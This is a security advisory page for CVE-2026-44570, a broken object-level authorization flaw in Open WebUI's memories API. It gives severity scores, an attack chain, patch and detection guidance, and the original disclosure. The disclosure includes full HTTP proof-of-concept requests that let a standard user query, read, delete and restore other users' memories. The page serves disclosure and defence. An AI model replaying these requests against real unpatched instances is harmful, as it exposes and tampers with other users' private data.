CVE-2026-44570: open-webui: IDOR exposes cross-user AI memory data

GHSA-hmjq-crxp-7rjw HIGH CISA: ATTEND
Published May 11, 2026
CISO Take

Open WebUI's memories API contains broken object-level authorization (IDOR) that allows any authenticated user — regardless of role — to query, read, delete, and restore memories belonging to other users via direct API calls. Open WebUI is among the most widely deployed self-hosted LLM frontends, and its persistent memory feature is specifically designed to store sensitive user context such as personal details, work projects, and confidential prompts; a single compromised or malicious user account can silently exfiltrate the entire memory store of every user in the instance. The vulnerability is not in CISA KEV and no public exploit tooling has been detected, but exploitation is trivial — it requires only a valid JWT and knowledge of three undocumented API endpoints documented in the PoC. Organizations should upgrade to open-webui 0.6.19 immediately; if patching is delayed, disable the memories feature via admin settings or enforce network-layer ACLs to restrict API access to trusted clients only.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

High risk. CVSS 8.3 reflects accurate severity — network-accessible, low privilege required, no user interaction, and dual high-impact on confidentiality and integrity. Exploitation difficulty is trivial: any valid session token is sufficient, the attack requires no AI/ML knowledge, and the PoC is fully documented in the advisory. The risk is elevated in enterprise multi-user deployments where AI memory may contain PII, strategic business context, or credentials inadvertently shared with the LLM. The 57 prior CVEs in this package signal a pattern of recurring security gaps in open-webui's authorization layer.

How does the attack unfold?

Initial Access
Attacker authenticates to open-webui with any valid standard user account, obtaining a JWT bearer token with no special privileges required.
AML.T0012
Memory Enumeration
Attacker issues POST /api/v1/memories/query with empty content string, which performs a semantic search against the shared vector store and returns memory IDs and content belonging to all users platform-wide.
AML.T0049
Data Exfiltration
Attacker harvests sensitive memory contents — including personal details, work context, credentials, and confidential information users have shared with their AI assistant — from all retrieved memory records.
AML.T0085
Memory Tampering
Attacker selectively deletes targeted users' memories to disrupt their AI assistant continuity, or restores previously deleted memories, silently corrupting the persistent AI context layer for victims.
AML.T0080.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip < 0.6.19 0.6.19
142.4K Pushed 5d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
8.3 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 21% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A Low

What should I do?

4 steps
  1. PATCH

    Upgrade open-webui to version 0.6.19 or later — the fix enforces user-scoped authorization checks on all memory API endpoints.

  2. IMMEDIATE WORKAROUND (if patching delayed): Disable the memories feature in Admin Panel > Settings, or use a reverse proxy (nginx/Caddy) to block POST /api/v1/memories/query and DELETE /api/v1/memories/* for non-admin users.

  3. DETECTION

    Audit API access logs for memory endpoint calls from user tokens that do not own the targeted memory_id — specifically cross-reference user_id in JWT against user_id in memory records returned. Flag any DELETE /api/v1/memories/* calls from non-owner accounts.

  4. ASSESS EXPOSURE

    If running a multi-user instance, treat all memories as potentially compromised — notify users that their AI memory contents may have been accessed by other platform users.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2.3 - AI system access control A.8.4 - Protection of AI-related data
NIST AI RMF
PROTECT 2.2 - Organizational teams apply documented AI policies and procedures
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-44570?

Open WebUI's memories API contains broken object-level authorization (IDOR) that allows any authenticated user — regardless of role — to query, read, delete, and restore memories belonging to other users via direct API calls. Open WebUI is among the most widely deployed self-hosted LLM frontends, and its persistent memory feature is specifically designed to store sensitive user context such as personal details, work projects, and confidential prompts; a single compromised or malicious user account can silently exfiltrate the entire memory store of every user in the instance. The vulnerability is not in CISA KEV and no public exploit tooling has been detected, but exploitation is trivial — it requires only a valid JWT and knowledge of three undocumented API endpoints documented in the PoC. Organizations should upgrade to open-webui 0.6.19 immediately; if patching is delayed, disable the memories feature via admin settings or enforce network-layer ACLs to restrict API access to trusted clients only.

Is CVE-2026-44570 actively exploited?

No confirmed active exploitation of CVE-2026-44570 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44570?

1. PATCH: Upgrade open-webui to version 0.6.19 or later — the fix enforces user-scoped authorization checks on all memory API endpoints. 2. IMMEDIATE WORKAROUND (if patching delayed): Disable the memories feature in Admin Panel > Settings, or use a reverse proxy (nginx/Caddy) to block POST /api/v1/memories/query and DELETE /api/v1/memories/* for non-admin users. 3. DETECTION: Audit API access logs for memory endpoint calls from user tokens that do not own the targeted memory_id — specifically cross-reference user_id in JWT against user_id in memory records returned. Flag any DELETE /api/v1/memories/* calls from non-owner accounts. 4. ASSESS EXPOSURE: If running a multi-user instance, treat all memories as potentially compromised — notify users that their AI memory contents may have been accessed by other platform users.

What systems are affected by CVE-2026-44570?

This vulnerability affects the following AI/ML architecture patterns: Multi-user LLM assistant platforms, Self-hosted AI frontends with persistent memory, Agent frameworks with user-scoped memory stores, Internal AI gateway deployments.

What is the CVSS score for CVE-2026-44570?

CVE-2026-44570 has a CVSS v3.1 base score of 8.3 (HIGH). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

Multi-user LLM assistant platformsSelf-hosted AI frontends with persistent memoryAgent frameworks with user-scoped memory storesInternal AI gateway deployments

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0080.000 Memory
AML.T0085 Data from AI Services

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.2.3, A.8.4
NIST AI RMF: PROTECT 2.2
OWASP LLM Top 10: LLM02:2025, LLM05:2025

What are the technical details?

Original Advisory

### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again. ### PoC 1 **Example of a user with no memories able to query an existing memory from another user** ``` GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0 --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0 [] ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: * access-control-allow-credentials: true {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### PoC 2 **Example showing excess output about a memory a user has no access to modify** ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ### PoC 3 **Example showing a memory being deleted then restored by a different user than its owner** ``` DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0 true ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0 {"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]} ``` ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### Impact Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

Exploitation Scenario

An attacker or malicious insider registers a standard user account on a corporate open-webui instance. With their JWT token, they issue a POST /api/v1/memories/query with empty content — this semantic search against the shared vector store returns memories from all users platform-wide, not just their own. The attacker iterates through returned memory IDs, collecting sensitive context such as project codenames, personal details, or credentials that colleagues have fed to their AI assistants. They then selectively call DELETE /api/v1/memories/{id} to silently erase memories of targeted users (disrupting their AI context), and can call POST /api/v1/memories/{id}/update to restore deleted memories at will — including their own exfiltrated copies. The entire operation leaves no application-level audit trail in unpatched versions and requires only a single valid user account.

Weaknesses (CWE)

CWE-639 — Authorization Bypass Through User-Controlled Key: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

  • [Architecture and Design] For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • [Architecture and Design, Implementation] Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Timeline

Published
May 11, 2026
Last Modified
May 11, 2026
First Seen
May 11, 2026

Related Vulnerabilities